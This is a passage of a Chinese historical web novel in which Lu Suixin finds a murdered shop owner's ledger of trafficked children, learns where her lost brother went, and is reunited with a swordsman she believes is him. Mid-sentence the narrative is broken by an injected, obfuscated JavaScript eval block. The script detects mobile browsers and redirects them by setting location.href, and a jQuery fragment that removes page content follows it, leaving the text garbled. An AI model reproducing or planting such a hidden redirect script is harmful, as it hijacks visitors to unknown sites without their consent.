陆随心决定,要去。
私心里她也曾恨过那个老板,恨他开了这店,恨他不曾阻止自己,恨他一言不发默许了她把柳三钱丢下,恨他不肯把三钱还回来。
可若真没有他,一开始她也没法儿遇见三钱。
她总不能放任他在那黑屋子里垂死挣扎。
把窗关上后,陆随心低头看了看自己那已然结痂的指尖,再没见新的薄盖生出来,那里长成了一个永恒的丑陋的肉坑,黑乎乎的,崎岖不堪,像身上有一点完整的东西永远离开了。
她有些难受,可那劲儿很快就被和那一日同样充盈的不顾一切给破开了,趁着血热,她照原路推门下楼,再次没理会店家的招呼,径直往对门的木铭轩而去。
门是轻轻掩上的,果然一推就开。
屋里头只有一扇小窗透进来几许亮光,像极了她在定国边境待的那座昏暗的地牢。
一人半高的柜台上放着各式各样的八卦锁、木雕玩偶,摆法颇为郑重其事,两个之间隔了老远,不似货品,倒像是老板的藏品陈列。
时年二十二岁的陆随心终于看出了些门道。
这哪是卖木头玩物的?这摆明了就是障眼法。
也就当年六七岁的自己,仗着看得懂几个字,推门进来就一声赞叹,“哇,不愧是’木铭轩’,这些雕木小物都好是漂亮啊。”
吓坏了老板,也吓坏了那对满面泥泞衣衫褴褛的夫妇。
如今的陆随心自然不会再去欣赏那些东西,也无心缅怀罪恶的过往,而是急急去对面柜台搜寻老板也许尚存一息的身影。
人很快就找到了。
就躺在柜台后边的地上,手垂在身体两侧,双腿打着弯,如果不是看到他的脑袋已经被整个折向了
他的后背,陆随心定是要上去探探他的鼻息把把他的脉的——虽说这事她并不在行。
脖颈上还留着凶手的指印,五个,非常清晰。
一个能徒手把脖子拗断的人。
陆随心暗骂着有些慌乱的自己,也是见过不少大风大浪的人了,这连着身子的脑袋还能比滚在地上的可怕吗?这已经死去的尸体还能比拿着刀翘她甲肉的活人可怕吗?
壮着胆多看了几眼,就不小心看多了。
老板的拳头攥得紧,食指拇指交扣的地方露出一截木棍似的东西。
陆随心想走,心底的声音在大叫,“快走!别管了!人都死了!快走!别又惹了一堆破事!”又一个声音在喊,“怎么能走?就在眼前了!万一能找到三钱的下落呢!”
脚已经迈了回去,老板梆硬的手指被她用力扒开,在那里挖出了一枚钥匙。
钥匙,往往是用来打开门的,可死人手里的钥匙,却往往能打开秘密。
她逡巡了一圈,没在周围见到什么有锁的东西,就往对着大门的一间里屋去了,里头平平无奇,只有两个柜子,一个又粗又大,简直能把外面的桌椅木雕统统塞进去。
陆随心打开,发现一块被半掀开的大破布,遮着一座结结实实的旧笼子,一围粗的木桩子做的,缝隙只够塞进一个半的拳头,高度只到她下巴,里头摆了个小板凳,看起来脏兮兮的。笼子的门上绑着铁链,但锁已经打开,落了灰,看起来许久不用了。
这难道就是……他关孩子的地方?
这柜子拿来装东西是大,拿来装人却小得逼仄了。
三钱也在这里待过吗?
不,不,老板说,三钱当天就被送走了……
陆随心看着眼前的笼子,心上漠然,想要再恨那老板又觉得浑身麻木,好像,她不愿去想那个可能性。
她迅速把门合上,又去看大柜子旁边的薄柜子,打开是一堆杂物,好多没成型的木雕,一刀未动的木块,还有各式工具,看起来老板倒真是喜爱这些木头玩意儿。
柜子的最上层现出一把锁来。
陆随心这会儿恨起自己腿短,张望了一圈把小板凳搬来,踩了上去,果然看到了一个老匣子。
把匣子放到地上,钥匙一对进孔里,“咔嚓”一声,真开了!
像是旁观者对她窥探死人遗物的行为喟叹一般,外边竟忽然传来一声“吱嘎”怪叫。
陆随心抱着匣子,在地上蹲成了一座木雕,连同鼻子也不敢再往外出气。
脑袋都折到后背去的人,总不能又突然活过来吧?
那必然是门开了。
这一日无风无雨,门总不能自己开了吧?
那必然是有人进来了。
她望着唯一那个连着外头的出口,发现自己成了被困在瓮中的鳖。
若是那凶手折回来,她今日必定交待在此了。
死都要死了,总归不能冷落了千辛万苦拿到手的秘密。
陆随心一咬牙,悄摸摸地把盖子掀开,看到里头躺着一本账册,拿出来一翻,将死的恐惧竟全被压了下去,对眼前之物的胆战心惊霎时占了上风。
从成惠二十一年到长庆十一年。
整整十五个年头。
姓名、岁数、哪里来、哪里去、几钱进、几钱出。
几十个孩子的人名。
这哪是账本,明明是活生生的一条条人命,是老板自己写就的罪孽之书。
外头的脚步声很轻,是故意收着步子在走,可陆随心不知怎么,好似身上灵脉被打通了,耳朵竟能听出那悄没声息的人的远近来。
还来得及!
她拼命翻着账本,想在生命的最后一刻,看到三钱的去向,那一日分别后,他究竟去了哪儿。
十二年前弄丢了他,今日终于能把这断了的线重新系上。
三钱、三钱、三钱……你当年到底去了哪儿?
大概这样,自己死的时候便能够瞑目吧,否则没命了还要睁着眼,怪不好的。
翻、翻、翻……
就是这儿!成惠二十四年!
可那脚步也已经踩到门口了。
陆随心看了一眼门,纹丝未动,便又低下头来。
“柳三钱。七岁。永京柳家小儿。”
就是这儿!这就是三钱的踪迹!
陆随心缩在角落捧着账本迫不及待地往下读。
“吱——”眼前的门被推开了。
她抬头去看那道新出的缝隙,黑漆漆的什么也没有。只有扣在门边上的四根手指,粗壮且齐整如一排兵刃,让她想起了老板脖子里的指印。只要这人一用力,脖子能断,门也能死无全尸。
可她能死而无憾吗?
若不能见上三钱最后一面,该是很难自愿喝下那孟婆汤的吧。
“吱嘎——”
陆随心耳朵一动,头也猛地抬了起来,门边上的四根手指往下一滑便退了回去。
是外头又来人了?!
“你怎么来了?”这声音?果真就是杀死老板的那个灰白头的男人!
“找老板问点事。”
陆随心把账本拍进了自己怀里,眼前的门、柜子都模糊起来,她才发现身子在抖。
这刚进门之人的声音她已许久许久没听到。
但一听就觉得熟悉。
钻进耳朵里,熨帖了她将死的心。
“呵,找他问什么?”
“柳盼儿的下落。”
陆随心身子一跳。
“现下想起来要完成这任务了?”
“是。”
“来晚了,已经死了。”
“你杀的?”
“我杀的。”
“那看来我得寻其他门路了。”
“他们说你伤都没养两天就走了。”
“是。”
“怎么,这么急?怕被赤霄捷足先登?”那人笑了笑,“不过他前阵子还传来消息,说路过大北县,顺手杀了那个叛乱的于四光。”
“我知道。”
“你小子,消息倒是挺灵通。药按时取了吗?”
“这一趟走得急,没取。”
“那有空就回一趟吧。过阵子可能有件大事要交给你去办。”
“是,教头。”
教头?!
陆随心胸口像有一池饿极了的鱼在用命扑腾,她赶紧把那账本又打开,找到了方才那一页。
“成惠二十四年七月廿二。柳三钱。七岁。永京柳家小儿。同年八月初六交予九曲岭无影剑教头。得银一百两。”
九曲岭?果真是他!
无影剑教头?
此教头就是彼教头?!
“我走了,你看看他有没有留下什么线索,清清干净,回头我再叫人来收拾尸体。”
“是。”
教头的脚步声走远了。
陆随心却不敢站起来,一是忽然之间听了太多知道了太多心乱如麻,二是蹲久了双腿全麻毫无知觉,动不了了。
另一个脚步声往她这儿走来。
这一次门被推开的时候,门沿上换成了四根苍白的手指,还有一句温声细语的“姑娘,你在里面吗?”
陆随心想开口说“在”,一张嘴却哭了。
她不仅没死,还重又见到了他,怎么能不哭,恨不得把十几年没流过的泪全哭出去。
她一哭,站在眼前的人就不知要把自己的手脚往哪儿放了,踟躇了半晌憋出一句,“姑娘,还是不愿见到我吗?”
陆随心想骂他是个二楞傻子,又不忍心,见阿柒竟转身要走,一狠心,从地上拔起来扑过去抱住了他,两只脚霎时如万蚁啃噬、万针齐扎,害得她在人家怀里扭动起来,“等、等等。等等。嘶——我、我腿麻了,脚、脚也麻了。”
话刚说完,她身子一轻,人就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047541|190147||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腾空而起,下一瞬,屁股就被放到了那木凳子上,一双手抓起她的小腿,揉捏了起来,“怎么样,姑娘,有没有好些?”
陆随心根本顾不上这些,只看着他乌黑的头顶,想起小时候要三钱顶着自己去摘树上的果子,三钱颤悠悠把自己举在肩上的样子,哭着笑了。
他却不懂这意思,抬起头来问,“这是……好些了,还是没好?”
陆随心赶紧点了点头,想叫他,却不知该怎么称呼,只好说些别的,徐徐图之,“我方才听你在外头说,你在找柳盼儿?”
“是。”他将她另一条腿抓起来,放在掌心里柔,“我和姑娘说过,不要回云国来,会有危险。”
“为什么?”陆随心看着被他握住的自己的腿,身体里窜出一种莫名的异样感,“因为你……还有那个赤霄,都在找柳盼儿?”
“是。”
他倒还是有问必答。
既如此,她也不愿绕得太远,“你也知道,我就是柳盼儿?”
“知道。”
他当然知道,他就是柳三钱,他怎么能不知道她是柳盼儿?他们那几年一起吃、一起玩、一起爬树、一起挨揍,就算分开了十二年,怎么能认不出对方?
怎么能?
那股异样似乎越来越汹涌。
真的吗?她真的就这样轻而易举把三钱找回来了吗?
“你是什么时候知道的?”陆随心又问。
他手上的动作忽然停了,顿了一下,才接着道,“四年前。”
四年前?!
陆随心想起那一年开始无故出现在院子里的银两,喉咙梗得生疼,“你,就是你……往我家院子里
扔的钱?”
她就说那守香怎么能起这般妙的作用?福圣王哪能顾得过来一个国家的人!原来竟是他!
“是。”
陆随心腹中卷起一簇怒火,把腿抽了回来,脸怼到了他面前,发现他整张脸毫无血色,可那咬牙切齿的问已经收不住了,“四年了,你来来回回路过我家这么多次,竟从没想过要与我相认?”
“相认?我……从未想过这事。”
从未想过?
这倒是将她说懵了,陆随心在他脸上细细地来回揣摩,看他脸色苍白,却一脸无辜,看不出半点说谎的迹象,腹部的那团火又沉下去,坠入了暗中,“你……你到底是谁?”
“姑娘……怎么忽然不认得我了?”他说着就伸手要去探她的脑袋。
这是要说她脑袋烧坏了吗?陆随心那团刚下去的火又烧了上来,“我当然认得你!我问的是……你是谁?我问的是你为什么要给我送钱?为什么要保护我?为什么要替我揉腿还把我从那教头手里救下来?”
这下他总算听明白了。
听明白以后他就不说话了。
这阵沉默持续了很久,久到陆随心想要破口大骂“我已经知道你就是柳三钱了”的时候,他终于说话了,“你记得十二年前在这家店发生的事吗?”
记得,当然记得,就方才她还在这追忆那段黑暗过往呢,她想起自己把三钱扔下后,走出去半条街就折了回来,老板却不让她进门了。
她在外头又哭又喊,求老板把她弟弟还回来,那老板却说,“小姐,人一旦离了柜台,这买卖就算成了,是不可以反悔的。”
她说,“我一分钱也没拿,这买卖就不算,你快把我弟弟还给我。”
老板不肯,抓了她的手把她往外推,“快回家去吧,你弟弟已经被送走了。”
她那时又急又慌,根本没想也知道这是显而易见的谎话,就继续哭着求,“我可以给你钱!我回家找我爹要钱,你要多少我爹都会给的!”
“已经不是钱的事了,小姐。你赶紧走吧。”
她那时才十岁,纵使那老板瘦成了竿,要把她拒之门外也还是易如反掌的事。
当年的她什么也不懂,真的以为这里头只是钱的事而已,却不知道人头的买卖也是买卖,买卖人头的老板也讲原则和信用。
“货”既售出,概不反悔。
哪怕她分文未取。
江湖上的规矩就是规矩,不讲人心。
“你……你也还记得?”她泪眼婆娑地低着头,想抬眼看他,却怕看到他点头。
她想好了,无论记不记得,都要先同他道歉,站着说坐着说跪着说,再好好弥补他,给他吃给他喝给他穿,还有那个赤霄和教头,别管无影剑是什么东西,她一定要想办法叫他再不用给那地方卖命。
可没有回音。
“……阿柒?……三钱?”
陆随心抬起头,看到阿柒靠在笼子上,脸上青红白相交,额上的汗涔涔落下,嘴唇紧闭,别说回话了,她以为他这是要去陪外面的老板到地底走一遭了。
“阿柒!”